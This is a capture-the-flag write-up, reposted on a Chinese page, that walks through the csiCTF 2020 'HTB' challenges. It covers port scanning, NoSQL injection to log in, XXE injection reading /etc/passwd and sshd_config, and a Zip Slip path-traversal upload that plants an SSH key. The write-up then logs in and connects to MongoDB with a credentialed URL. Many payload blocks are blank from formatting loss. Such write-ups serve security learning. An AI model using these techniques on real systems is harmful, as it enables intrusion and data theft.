点击此处获得更好的阅读体验
WriteUp来源
https://dunsp4rce.github.io/csictf-2020/linux/2020/07/22/HTB-0x-2-6.html
by INXS_JOY
and shreyas-sriram
题目描述
题目考点
解题思路
Welcome to the interesting part of the csiCTF, HTB. xD
HTB 0x2
This is a HackTheBox-like challenge, the server's
IP address
is givenRun a simple port scan using
nmap
1 | $ nmap -sC -sV 34.93.215.188 -Pn |
- This reveals the following open ports
1 | 22/tcp open ssh |
Notice
http port 3000
Visiting http://34.93.215.188:3000/, we see a login form
Trying
SQL Injection (SQLi)
, nothing happens (although another vulnerability exists -XSS
)Then trying
NoSQL Injection
, we are logged in successfully
Payload
1 | # Use in POST parameter |
Visiting
/robots.txt
, we see/admin
is disallowedVisit
/admin
and get the flagcsictf{n0t_4ll_1nj3ct10n5_4re_SQLi}
in the source code
HTB 0x5
As seen in write-up HTB 0x2, there is an
/admin
pageThis page is vulnerable to
XML External Entity (XXE) Injection
The vulnerability can be confirmed by using the
XXE detection payload
1 |
|
- We get the
/etc/passwd
file which contains a GitHub link
1 | root:root:x:0:0:root:/root:/bin/bash |
The GitHub link is about using a
custom ssh configuration
, this hints us to check thesshd_config
fileObtain
sshd_config
by exploiting theXXE Injection
vulnerability in/admin
Payload
1 |
|
- Find the flag commented out in the obtained file
1 | ... |
HTB 0x3,0x4,0x6
- As seen in write-up HTB 0x5, we get the following contents from the sshd_config file.
1 | # This is the sshd server system-wide configuration file. See |
Lets focus on AuthorizedKeysCommand
right below the previous flag in the config file,
1 | #AuthorizedPrincipalsFile none |
Hmm, seems like they are using a custom check for authorizing the users. Wish we could read what is in the /usr/local/bin/userkeys.sh. Oh yes, we have that xml vulnerability. Lets use that to get the contents of the file.
Using this payload for xml injection,
1 | <root>&test;</root> |
Let's beautify the content,
1 |
|
So as per the code, when we try to ssh to the IP, the user we try to ssh into is passed as $1(argument 1) to the sh file. If the user we try to ssh into is csictf (i.e if $1==csictf), then it will check if our public key exists in the list of keys present in /home/administrator/uploads/keys/. All these inferences were drawn by looking into the functioning of ssh.
So our aim is simple, we need to put our public key into the /home/administrator/uploads/key folder. So we go back to the uploading zip file location. The upload function has the Zip Slip Vulnerability
1 | $ ssh-keygen -t rsa #filename:my_key |
So we first generate out private and public keys using the command ssh-keygen -t rsa
and name our key file my_key
.
Next we download the zip-slip.zip from the zip-slip repo mentioned above into the directory which has our keys. Now we append our public key to the zip file using 7z a zip-slip.zip my_key.pub
.
We then rename the file to the folder we want to put our file to(vulnerability) 7z rn zip-slip.zip my_key.pub '../../../../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub
. Since all the key are getting searched in /home/administrator/uploads/keys folder, we put our public key there.
You should get {"success":"true"} after uploading the zip to the server. The pub key seems to stay in the server for 5 mins before it gets deleted(cron job), so ssh into server before 5 mins of uploading public key.
Now that the hard part of adding our public key is done, we just have to ssh into csictf user ssh -i my_key csictf@34.93.37.238
and voila "We are in boissss!"
,
It's almost cakewalk after this. We find a flag.txt in the home folder of csictf user, csictf{w3lc0m3_t0_th3_s3rv3r}
After greping for "csictf" from ~/ , I found the flag csictf{exp0s3d_sec23ts}
in /home/administrator/website/models/db.js.
Right below the flag in db.js , we find a mongodb connection url, we connect to that url using, mongo "mongodb://web:9EAC744765EA6F26@34.93.215.188:27017/HTBDB"
Then we check the list of databases available using db
command. We find a HTBDB database, switch to it using use HTBDB
.
List the collections in the db using show collections
. We find three collections: stuff, user,users. We read all the documents in the collection stuff using db.stuff.find()
. In one the documents, we find the flag csictf{m0ng0_c0llect10ns_yay}
Flag
1 | csictf{n0t_4ll_1nj3ct10n5_4re_SQLi} |